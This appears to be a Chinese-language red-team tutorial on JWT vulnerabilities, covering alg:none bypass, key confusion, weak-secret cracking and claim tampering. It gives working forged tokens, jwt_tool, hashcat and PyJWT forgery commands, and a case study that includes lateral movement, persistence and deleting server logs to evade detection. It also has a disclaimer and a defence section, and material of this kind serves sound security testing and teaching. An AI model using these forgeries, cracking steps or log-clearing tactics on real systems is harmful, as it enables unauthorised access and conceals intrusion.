JWT 漏洞全解析:从原理到实战

JWT 漏洞全解析:从原理到红队实战(含 SRC 挖掘与护网落地技巧)

免责声明

  1. 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
  2. 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 "非法侵入计算机信息系统罪"、第 286 条 "破坏计算机信息系统罪")及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
  3. 本文分享的渗透测试技术,核心目的是帮助读者 "理解攻击原理,进而构建更有效的防御体系"------ 渗透测试的本质是 "以攻促防",而非 "指导攻击"。
  4. 网络安全行业的核心伦理是 "保护而非破坏":所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
  5. 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
  6. 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。

作为护网红队,JWT(JSON Web Token)漏洞是渗透测试中极易被忽视却危害显著的漏洞类型 ------ 它直接关联身份认证与权限控制,一旦存在漏洞,攻击者可伪造任意用户 Token(如管理员)、绕过登录验证、横向渗透内网系统。在 SRC(安全响应中心)中,JWT 漏洞常被评为中高危(甚至严重),且挖掘成本低、验证周期短;在护网行动中,JWT 漏洞更是 "快速拿下后台、获取核心权限" 的关键突破口。本文将从 JWT 的本质原理出发,拆解漏洞类型、挖掘方法、核心工具,结合 SRC 与护网实战案例,阐述红队如何高效利用 JWT 漏洞实现深度渗透。

一、JWT 核心原理:从结构到认证逻辑

在分析漏洞前,必须先理解 JWT 的工作机制 ------ 它是一种 "无状态认证令牌",用于在客户端与服务器间安全传递用户身份信息,核心是 "签名验证" 确保 Token 未被篡改。

1. JWT 的结构:三部分 Base64 编码拼接

JWT 由Header(头部)、Payload(载荷)、Signature(签名) 三部分组成,用.分隔,格式如下:

复制代码
Header.Payload.Signature
(1)Header(头部):指定算法与类型

定义 JWT 的类型(typ: "JWT")和签名算法(如alg: "HS256"alg: "RS256"),Base64 编码后作为第一部分。

示例(HS256 算法):

json 复制代码
{
  "alg": "HS256",  // 哈希算法(HMAC SHA256,对称加密)
  "typ": "JWT"     // 令牌类型
}

Base64 编码后:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

(2)Payload(载荷):存储用户身份信息

包含 "声明(Claims)",即用户数据(如用户 ID、角色、有效期),Base64 编码后作为第二部分(注意:Base64 编码可逆向,切勿存储敏感信息如密码)。

常见标准声明:

  • exp:Token 过期时间(Unix 时间戳);
  • iat:Token 签发时间;
  • sub:主题(通常为用户 ID);
  • role:自定义声明(如用户角色admin/user)。

示例:

json 复制代码
{
  "sub": "123456",    // 用户ID
  "role": "user",     // 用户角色(普通用户)
  "exp": 1717248000,  // 过期时间(2024-06-01)
  "iat": 1717161600   // 签发时间(2024-05-31)
}

Base64 编码后:eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ

(3)Signature(签名):确保 Token 未被篡改

服务器用 "密钥" 和 Header 指定的算法对 "Header.Base64 + Payload.Base64" 进行签名,防止 Token 被篡改。签名是 JWT 的 "安全核心",分为两种算法类型:

  • 对称算法(如 HS256):服务器与客户端共享同一个 "密钥(Secret)",签名和验证都用该密钥;
  • 非对称算法(如 RS256):服务器用 "私钥(Private Key)" 签名,客户端用 "公钥(Public Key)" 验证(公钥可公开,私钥需保密)。

示例(HS256 签名过程):

bash 复制代码
# 签名公式:HMACSHA256( Base64Encode(Header) + "." + Base64Encode(Payload), Secret )
HMACSHA256( "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ", "my-secret-key" )

签名结果(第三部分):Signature=abc123...xyz

2. JWT 的认证流程

  1. 用户登录:用户提交账号密码,服务器验证通过后,生成 JWT(含用户角色、有效期)并返回给客户端;

  2. 客户端存储:客户端(浏览器 / APP)存储 JWT(如 LocalStorage、Cookie);

  3. 后续请求 :客户端每次请求需在 HTTP 头(如Authorization: Bearer )中携带 Token;

  4. 服务器验证

    :服务器接收 Token 后,按以下步骤验证:

    • 解码 Header,确认签名算法;
    • 用对应算法 + 密钥验证 Signature(若签名无效,拒绝请求);
    • 检查exp字段,确认 Token 未过期;
    • 从 Payload 中提取用户角色,判断是否有权限访问资源。

二、JWT 漏洞类型与原理:从签名到逻辑缺陷

JWT 漏洞的核心是 "签名验证失效 " 或 "密钥 / 算法被滥用",导致攻击者可伪造 Token、篡改身份信息。以下是红队实战中高频出现的漏洞类型,按危害等级排序:

1. 签名绕过漏洞(无需密钥伪造 Token)

签名是 JWT 的安全基石,若服务器跳过签名验证或支持 "无签名算法",攻击者可直接篡改 Payload,伪造任意用户 Token。

(1)无签名算法(alg: "none")
  • 原理 :JWT 支持alg: "none"算法(即 "无签名"),若服务器未禁用该算法,攻击者可将 Header 的alg改为none,删除 Signature 部分,直接篡改 Payload;

  • 触发条件 :服务器未严格校验alg字段,或未强制要求签名(如仅验证 Header 和 Payload,忽略 Signature);

  • 示例:

    原始 Token(HS256 算法):

    复制代码
    Header.Payload.Signature

    伪造 Token(无签名):

    复制代码
    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MTcyNDgwMDAsImlhdCI6MTcxNzE2MTYwMH0.

    (注意最后一个.保留,Signature 部分为空)。

(2)算法降级攻击(如 RS256→HS256)
  • 原理 :非对称算法(如 RS256)中,服务器用私钥签名、公钥验证;若服务器存在逻辑缺陷,允许将algRS256改为HS256,攻击者可使用服务器的 "公钥" 作为 "对称密钥" 伪造签名(HS256 用密钥签名,而 RS256 的公钥可公开获取);
  • 触发条件 :服务器未校验alg与密钥的匹配关系,或公钥可被攻击者获取(如通过/.well-known/jwks.json接口);
  • 示例:
    1. 攻击者获取服务器 RS256 的公钥(如public.key);
    2. 将 Header 的alg改为HS256,用公钥作为密钥对篡改后的 Payload 签名;
    3. 服务器接收 Token 后,错误地用 HS256 算法 + 公钥验证签名,导致伪造 Token 通过。

2. 密钥泄露 / 弱密钥

密钥是 JWT 签名的核心,若密钥泄露或过于简单,攻击者可直接用密钥伪造任意 Token。

(1)密钥硬编码 / 配置文件泄露
  • 原理 :开发人员将 JWT 密钥(如 HS256 的my-secret-key)硬编码到代码中,或存储在公开可访问的配置文件(如config.jsapplication.properties)中,攻击者通过文件读取、代码泄露(如 GitHub)获取密钥;
  • 常见泄露路径:
    • 代码托管平台:GitHub 搜索jwt secret+ 目标域名,找到硬编码的密钥;
    • Web 目录:/config.js/application.yml/.env等文件;
    • 接口响应:错误页面、调试信息中泄露密钥。
(2)弱密钥(可爆破)
  • 原理 :HS256 算法的密钥过于简单(如123456password),攻击者用字典爆破密钥后,可伪造 Token;
  • 爆破条件 :密钥长度短(≤8 位)、无特殊字符,适合用hashcat等工具爆破。

3. Payload 篡改(签名有效但内容可篡改)

若服务器仅验证签名,未校验 Payload 中的关键字段(如roleexp),攻击者可在 "已知有效密钥" 的情况下篡改身份信息。

(1)角色篡改(普通用户→管理员)
  • 原理 :Payload 中的role字段未被服务器二次校验,攻击者用合法密钥将role: "user"改为role: "admin",获取管理员权限;

  • 示例:

    原始 Payload:

    复制代码
    {"sub":"123","role":"user","exp":1717248000}

    篡改后 Payload:

    复制代码
    {"sub":"123","role":"admin","exp":1717248000}

    (用合法密钥重新签名)。

(2)有效期篡改(Token 永不过期)
  • 原理exp字段(过期时间)未被服务器严格校验,攻击者将exp改为极大值(如9999999999),使 Token 永不过期;
  • 风险:即使用户注销,攻击者仍可使用该 Token 访问系统。

4. 中危:Token 复用 / 未销毁

  • 原理:用户注销或密码修改后,服务器未将旧 Token 加入 "黑名单",攻击者可复用已注销的 Token 访问系统;
  • 触发条件 :服务器未实现 Token 吊销机制(如 Redis 黑名单),依赖exp字段实现有效期控制。

三、SRC 中快速挖掘 JWT 漏洞:实战流程与技巧

SRC 中 JWT 漏洞的挖掘核心是 "识别 JWT 接口→测试签名 / 密钥→验证权限篡改",需按以下步骤高效落地:

1. 第一步:识别使用 JWT 的资产与接口

JWT 通常用于 "身份认证相关接口",需优先测试以下场景:

  • 登录 / 注册接口 :登录成功后返回Authorization: Bearer 的接口;
  • 权限控制接口 :如/api/user/info(获取用户信息)、/api/admin/*(管理员接口);
  • Token 刷新接口 :如/api/token/refresh(返回新 JWT)。

识别方法

  • 用 Burp Suite 拦截所有请求,筛选 HTTP 头中包含Authorization: Bearer的请求;

  • 查看响应体,若包含token字段(如{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}),判定为 JWT 接口;

  • 用工具快速解码 JWT,查看 Payload 中的字段(如rolesubexp):

    bash 复制代码
    # 用jwt-cli解码(需提前安装)
    jwt decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ.abc123...

2. 第二步:按漏洞优先级测试 JWT

(1)优先测试签名绕过(最快验证,1-2 分钟 / 目标)
  • 测试无签名算法(alg: "none")

    1. 用 Burp 拦截 JWT 请求,复制 Token;
    2. 解码 Token,修改 Header 的algnone,删除 Signature 部分(保留最后一个.);
    3. 将篡改后的 Token 放回请求头,发送请求,观察是否能通过验证(如role改为admin后访问/api/admin);
    4. 工具辅助:用 Burp 插件 "JWT Editor" 直接修改algnone,一键生成伪造 Token。
  • 测试算法降级(RS256→HS256)

    1. 若 JWT 算法为 RS256,尝试获取公钥(如访问/.well-known/jwks.json,或用JWT_tool自动获取);

    2. 用JWT_tool生成 HS256 伪造 Token:

      bash 复制代码
      # 语法:jwt_tool <Token> -X k -pk public.key -alg HS256 -T "{'role':'admin'}"
      jwt_tool eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9... -X k -pk public.key -alg HS256 -T "{'role':'admin'}"
    3. 发送伪造 Token,若能访问管理员接口,证明存在漏洞。

(2)次优先测试密钥泄露 / 弱密钥
  • 查找密钥泄露

    1. GitHub 搜索:repo:target-org/* jwt secret"JWT_SECRET" "target.com"

    2. Web 目录扫描:用Gobuster爆破常见配置文件路径:

      bash 复制代码
      gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x js,yml,properties,env -q
    3. 查看页面源码:搜索jwtsecretkey等关键词,寻找硬编码的密钥(如const JWT_SECRET = "my-weak-key";)。

  • 弱密钥爆破

    1. hashcat爆破 HS256 密钥(需先提取 JWT 的 "Header.Payload" 和 "Signature"):

      bash 复制代码
      # 语法:hashcat -m 16500 -a 0 <JWT_hash> <wordlist>
      # -m 16500:JWT HS256算法类型;-a 0:字典攻击
      hashcat -m 16500 "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ.abc123..." /usr/share/wordlists/rockyou.txt
    2. 若爆破成功(如密钥为123456),用该密钥伪造管理员 Token。

(3)最后测试 Payload 篡改(需已知密钥)
  • 测试角色篡改:

    1. 若已知密钥(如泄露的my-secret-key),用PyJWT生成篡改后的 Token:

      python 复制代码
      import jwt
      payload = {
          "sub": "123",
          "role": "admin",  # 篡改角色为管理员
          "exp": 9999999999  # 永不过期
      }
      secret = "my-secret-key"  # 已知密钥
      token = jwt.encode(payload, secret, algorithm="HS256")
      print(token)
    2. 用伪造 Token 访问/api/admin,若返回管理员数据,证明漏洞存在。

3. 第三步:SRC 提交技巧

  • 明确漏洞类型:标注 "JWT 无签名绕过""JWT 密钥泄露""JWT 算法降级",避免模糊描述;
  • 提供可复现步骤:包含 "获取原始 Token→篡改方法→伪造 Token→验证权限" 的完整流程,附关键命令;
  • 证明危害:提供 "普通用户 Token→伪造管理员 Token→访问后台" 的截图,或 "密钥泄露后伪造 Token" 的日志;
  • 示例提交模板:
    1. 漏洞标题:【高危】http://target.com/api/admin 存在JWT无签名绕过漏洞,可伪造管理员Token
    2. 复现步骤:
      *
      1. 登录普通用户,获取 Token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
        1. 修改 Header 的algnone,删除 Signature,篡改 Payload 的roleadmin
        1. 用伪造 Token 访问/api/admin,返回管理员列表;
    3. 证明截图:包含 "原始 Token""伪造 Token""管理员接口响应" 的拼接图。

四、JWT 漏洞利用工具链:从检测到伪造

红队利用 JWT 漏洞的工具需满足 "快速检测、便捷伪造、支持爆破" 的需求,以下是实战中高频使用的工具:

1. 漏洞检测工具

(1)JWT_tool(全能型 JWT 测试工具)
  • 核心用途:检测签名绕过、算法降级、密钥爆破、Payload 篡改,支持生成伪造 Token;

  • 安装(Python):

    bash 复制代码
    git clone https://github.com/ticarpi/jwt_tool.git
    cd jwt_tool
    pip install -r requirements.txt
  • 实战命令:

    bash 复制代码
    # 1. 检测无签名算法(alg: none)
    python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -X a  # -X a:自动检测所有漏洞
    
    # 2. 算法降级攻击(RS256→HS256)
    python3 jwt_tool.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9... -X k -pk public.key -alg HS256 -T "{'role':'admin'}"
    
    # 3. 密钥爆破(HS256)
    python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -C -d /usr/share/wordlists/rockyou.txt  # -C:爆破密钥
(2)Burp Suite 插件(JWT Editor + JSON Web Tokens)
  • 核心用途:拦截 JWT 请求,可视化修改 Header/Payload,验证签名有效性;
  • 安装:Burp "BApp Store" 搜索 "JWT Editor" 和 "JSON Web Tokens",一键安装;
  • 实战操作:
    1. 拦截 JWT 请求,右键选择 "Send to JWT Editor";
    2. 在 "Header" 标签页修改algnone,删除 "Signature" 标签页的内容;
    3. 在 "Payload" 标签页修改roleadmin,点击 "Sign" 生成伪造 Token;
    4. 发送请求,观察响应是否通过验证。

2. 密钥爆破工具

(1)hashcat(高性能密钥爆破)
  • 核心用途:爆破 HS256/HS384/HS512 算法的弱密钥,支持 GPU 加速;

  • 实战命令:

    bash 复制代码
    # 爆破HS256密钥(-m 16500对应JWT HS256)
    hashcat -m 16500 -a 0 "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ.abc123..." /usr/share/wordlists/rockyou.txt -O  # -O:优化模式,加速爆破
(2)John the Ripper(多算法支持)
  • 核心用途:支持 JWT 多种算法的密钥爆破,适合无 GPU 环境;

  • 实战命令:

    bash 复制代码
    # 将JWT转换为John可识别的格式
    echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ.abc123...' > jwt.hash
    # 爆破密钥
    john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 jwt.hash

3. Token 生成工具

(1)PyJWT(Python 库,灵活生成 Token)
  • 核心用途:已知密钥时,生成自定义 Payload 的 JWT,支持多种算法;

  • 安装与实战:

    bash 复制代码
    pip install pyjwt  # 安装
    python 复制代码
    # 生成HS256算法的管理员Token
    import jwt
    from datetime import datetime, timedelta
    
    # 自定义Payload(管理员角色,有效期7天)
    payload = {
        "sub": "999",  # 管理员ID
        "role": "admin",
        "exp": datetime.utcnow() + timedelta(days=7)
    }
    secret_key = "my-secret-key"  # 已知密钥
    # 生成Token
    token = jwt.encode(payload, secret_key, algorithm="HS256")
    print("伪造的管理员Token:", token)
(2)jwt.io(在线工具,快速验证)
  • 核心用途:在线解码 JWT、生成 Token(适合临时测试,不建议处理敏感密钥);
  • 使用方法:
    1. 访问https://jwt.io/;
    2. 在 "Encoded" 框粘贴 JWT,自动解码 Header 和 Payload;
    3. 在 "Algorithm" 选择算法(如 HS256),输入密钥,修改 Payload 后点击 "Sign" 生成伪造 Token。

五、实战与护网中 JWT 漏洞的深度利用

JWT 漏洞的价值不仅在于 "伪造 Token",更在于 "结合业务逻辑实现横向渗透、控制核心资产"。以下结合 SRC 与护网案例,阐述红队的进阶利用思路:

1. 案例 1:SRC 中 JWT 无签名绕过,伪造管理员 Token

环境背景
  • 目标资产:http://test-src.com(某企业 SRC 资产);
  • 接口场景:登录后返回 JWT,/api/admin接口需role: "admin"才能访问;
  • 初始权限:普通用户(role: "user")。
渗透步骤
  1. 识别 JWT 接口

    登录普通用户,Burp 拦截到请求头Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjMiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ.abc123...

  2. 测试无签名绕过

    1. 用 Burp 的 JWT Editor 修改 Header 的algnone,删除 Signature 部分,得到伪造 Token:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjMiLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MTcyNDgwMDAsImlhdCI6MTcxNzE2MTYwMH0.
    2. 将伪造 Token 放入Authorization头,访问/api/admin
  3. 验证漏洞与提交

    • 响应返回管理员列表(含用户手机号、邮箱),证明漏洞存在;
    • 截图 "普通用户 Token→伪造 Token→管理员接口响应",按 SRC 模板提交,获 10 分(高危漏洞)。

2. 案例 2:护网中 JWT 密钥泄露,横向渗透内网系统

环境背景
  • 护网目标:某企业内网(办公区→DMZ→核心区);
  • 初始突破:DMZ 区 Web 服务存在文件读取漏洞,获取application.yml,发现 JWT 密钥redteam-2024-secret(HS256 算法);
  • 内网拓扑:DMZ 区 Web 服务(172.16.1.10)与核心区管理系统(10.0.0.5)共享 JWT 认证(同一套密钥)。
渗透步骤
  1. 分析 JWT 结构

    访问 DMZ 区 Web 服务,登录普通用户获取 Token,解码后发现 Payload 包含sub(用户 ID)、dept(部门)、exp(有效期),且dept: "dmz"限制仅能访问 DMZ 资源。

  2. 伪造核心区管理员 Token

    PyJWT生成dept: "core"(核心区)、role: "admin"的 Token:

    python 复制代码
    import jwt
    payload = {
        "sub": "001",
        "role": "admin",
        "dept": "core",  # 篡改部门为核心区
        "exp": 9999999999
    }
    secret = "redteam-2024-secret"  # 泄露的密钥
    token = jwt.encode(payload, secret, algorithm="HS256")
    print(token)  # 伪造的核心区管理员Token
  3. 横向渗透核心区管理系统

    1. 通过 DMZ 区跳板机访问核心区管理系统http://10.0.0.5:8080
    2. 将伪造 Token 放入Authorization头,访问/api/core/data(核心区敏感数据接口);
    3. 成功获取企业财务数据(护网关键得分点),并通过该系统的 "服务器监控" 功能执行ping命令,探测内网其他资产(10.0.0.0/24)。
  4. 持久化与痕迹清理

    • 生成有效期 1 年的 Token,存储在跳板机/tmp/jwt_token.txt
    • 删除文件读取记录(/var/log/nginx/access.log),避免被蓝队溯源。

3. 护网中 JWT 漏洞的核心利用技巧

(1)结合其他漏洞获取密钥
  • 文件读取漏洞 :通过/etc/passwd/application.yml等文件读取 JWT 密钥;
  • 代码泄露 :利用 Git 泄露(/.git)获取硬编码的密钥;
  • SQL 注入 :从数据库中读取jwt_secret字段(若密钥存储在数据库)。
(2)利用 JWT 实现 "无感知横向"
  • 若内网多系统共享同一套 JWT 密钥(如 SSO 单点登录),伪造一个 Token 即可访问所有系统,无需重复突破;
  • 示例:获取 DMZ 区 JWT 密钥后,伪造 Token 访问核心区 OA 系统、财务系统,实现 "一次突破,多系统控制"。
(3)规避蓝队检测
  • Token 伪装 :模仿正常用户的 Payload 结构(如subiat字段与真实用户一致),避免被异常检测识别;
  • 请求频率控制:用伪造 Token 访问接口时,每秒≤1 次,模拟正常用户操作;
  • 清理日志:删除 JWT 伪造相关的请求日志(如 Nginx、Tomcat 日志)。

六、JWT 漏洞的防御与红队绕过技巧

1. 蓝队常见防御措施

  • 严格校验签名与算法:
    • 禁用alg: "none"算法,仅支持指定算法(如 HS256、RS256);
    • 校验alg与密钥的匹配关系(如 RS256 必须用公钥验证,禁止改为 HS256);
  • 密钥安全管理:
    • 避免硬编码,使用环境变量(如JWT_SECRET)或密钥管理服务(如 Vault)存储密钥;
    • 定期轮换密钥(如每 3 个月),吊销泄露的密钥;
  • Payload 校验:
    • 二次校验关键字段(如roledept),不依赖 JWT 的 Payload 直接判定权限;
    • 严格校验exp字段,拒绝过期 Token;
  • Token 吊销机制:
    • 实现 Token 黑名单(如用 Redis 存储已注销的 Token),用户注销 / 密码修改后立即加入黑名单。

2. 红队绕过技巧

  • 绕过算法限制:
    • 寻找旧版本依赖库漏洞(如pyjwt<2.0允许alg: "none");
    • 用特殊字符混淆算法名(如alg: "HS256 ",空格绕过过滤);
  • 绕过密钥轮换:
    • 寻找未轮换的旧系统(如测试环境、备用系统仍使用旧密钥);
    • 复用未过期的旧 Token(若未加入黑名单);
  • 突破 Payload 校验:
    • 寻找隐藏的高权限字段(如super_admin: true,开发未校验);
    • 篡改sub为管理员 ID(如sub: "0",通常为超级管理员)。

七、总结

JWT 漏洞的本质是 "认证逻辑缺陷或密钥失控 ",其在红队渗透中的核心价值在于 "低成本获取高权限 "------ 无需复杂的漏洞链,仅通过伪造 Token 即可绕过登录、横向渗透。在 SRC 中,JWT 漏洞的挖掘关键是 "快速识别接口 + 测试签名 / 密钥";在护网中,需结合文件读取、代码泄露等漏洞获取密钥,利用共享密钥实现多系统控制。

红队工程师利用 JWT 漏洞的核心思维是 "业务导向":

  • 不盲目测试,优先选择 "登录 / 管理员接口" 等关键场景;
  • 结合其他漏洞(如文件读取、SQL 注入)获取密钥,最大化攻击效果;
  • 注重隐蔽性,避免伪造 Token 的请求触发蓝队告警。

重要提示 :所有 JWT 漏洞测试必须在合法授权下进行,未经授权的 Token 伪造属于 "非法访问计算机信息系统",需自行承担法律责任。

相关推荐
数据与人工智能律师3 小时前
解码Web3:DeFi、GameFi、SocialFi的法律风险警示与合规路径
大数据·网络·人工智能·云计算·区块链
IT_陈寒3 小时前
React 性能优化:5个实战技巧让首屏加载提升50%,开发者亲测有效!
前端·人工智能·后端
久未3 小时前
Pytorch autoload机制自动加载树外扩展(Autoload Device Extension)
人工智能·pytorch·python
xingxing_F3 小时前
Network Radar for Mac 网络扫描管理软件
网络·macos
wanhengidc3 小时前
巨椰云手机引领未来
运维·服务器·网络·游戏·智能手机
wanhengidc3 小时前
云手机的真实体验感怎么样
运维·服务器·安全·游戏·智能手机
rising start3 小时前
前端基础一、HTML5
前端·html·html5
java1234_小锋3 小时前
TensorFlow2 Python深度学习 - TensorFlow2框架入门 - 使用Keras.Model来定义模型
python·深度学习·tensorflow·tensorflow2
Learn Beyond Limits4 小时前
TensorFlow Implementation of Content-Based Filtering|基于内容过滤的TensorFlow实现
人工智能·python·深度学习·机器学习·ai·tensorflow·吴恩达